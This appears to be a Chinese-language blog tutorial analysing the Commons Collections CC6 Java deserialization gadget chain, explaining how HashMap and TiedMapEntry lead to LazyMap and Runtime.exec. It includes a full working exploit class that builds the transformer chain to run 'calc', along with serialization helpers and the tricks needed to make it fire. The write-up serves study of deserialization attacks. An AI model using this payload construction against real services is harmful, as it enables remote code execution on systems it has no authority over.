Java反序列化CommonsCollections——CC6
前言
上回我们说了CC1的两个版本,随着外部库的更新还有jdk版本的更新都会导致使用受限,那我们就想能不能有一条不受jdk版本限制的链子。实际上CC6这条链子是不收JDK版本限制。
CC6链子分析
Gadget chain:
1 2 3 4 5 6 7 8 9 10 11 12
| Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
实际上后半部分是和CC1一样的 (LazyMap.get以后),入口类用的HashMap,HashMap我们已经很熟悉了,在URLDNS这条链子中就用到过HashMap。HashMap的readObject会调用它的put,put里会调用hachCode,所以我们希望找到一个类,它的hachCode里面能调用LazyMap。这个类同时也要满足参数都可控。
官方的Gadget chain已经写出来了,就是TiedMapEntry
所以我们就来看看TiedMapEntry的hashCode方法,可以看到它的hashCode调用了getValue方法
它的getValue方法里调用了map.get,我们到时候把map改成需要构造的LazyMap就好了。

这个TiedMapEntry是什么东西呢?看名字的话它是一个Entry,Entry就是每一个Map里都有的键值对,但它是一个public,正常的是一个privite。初衷就是方面用户修改这个键值对。
那我们就可以去写一个Exp,注意HashMap是对key值进行hash()方法,进而调用它的hashCode
我们手写一下Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public class CC6Test {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Lotus");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "LLLotus"); lazyMap.remove("Lotus");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
这个Exp有几个需要注意的地方,1、首先是因为HashMap的put方法也会去调用hash方法,让链子往下走,所以序列化的过程中就会弹出计算器,所以我们可以在调用put时去调用没有用的transformer,调用put方法之后再通过反射把链子给续上就可以了。 2、如果只是这样,反序列化的时候还是不会执行弹出计算器。这是因为在执行put操作过后,会给LazyMap添加key,反序列化的时候判断LazyMap里有没有key,有的话就不会继续往下走了,所以这里我们的解决方法是通过remove去删除掉LazyMap里的key。
执行代码,成功弹出计算器!
后记
总结一下CC1和CC6全景图,不免发自内心的感慨一句:CC6真是世界上最好用的CC链
这条链不像CC1那样弯弯绕绕的,最主要的是它不受限于jdk版本,也不受限于CC的版本,大部分情况都可以用这条链解决,没人会过滤HashMap这个东西。
当其他链子碰到困难的时候,回到CC6,总能找到最初的美好~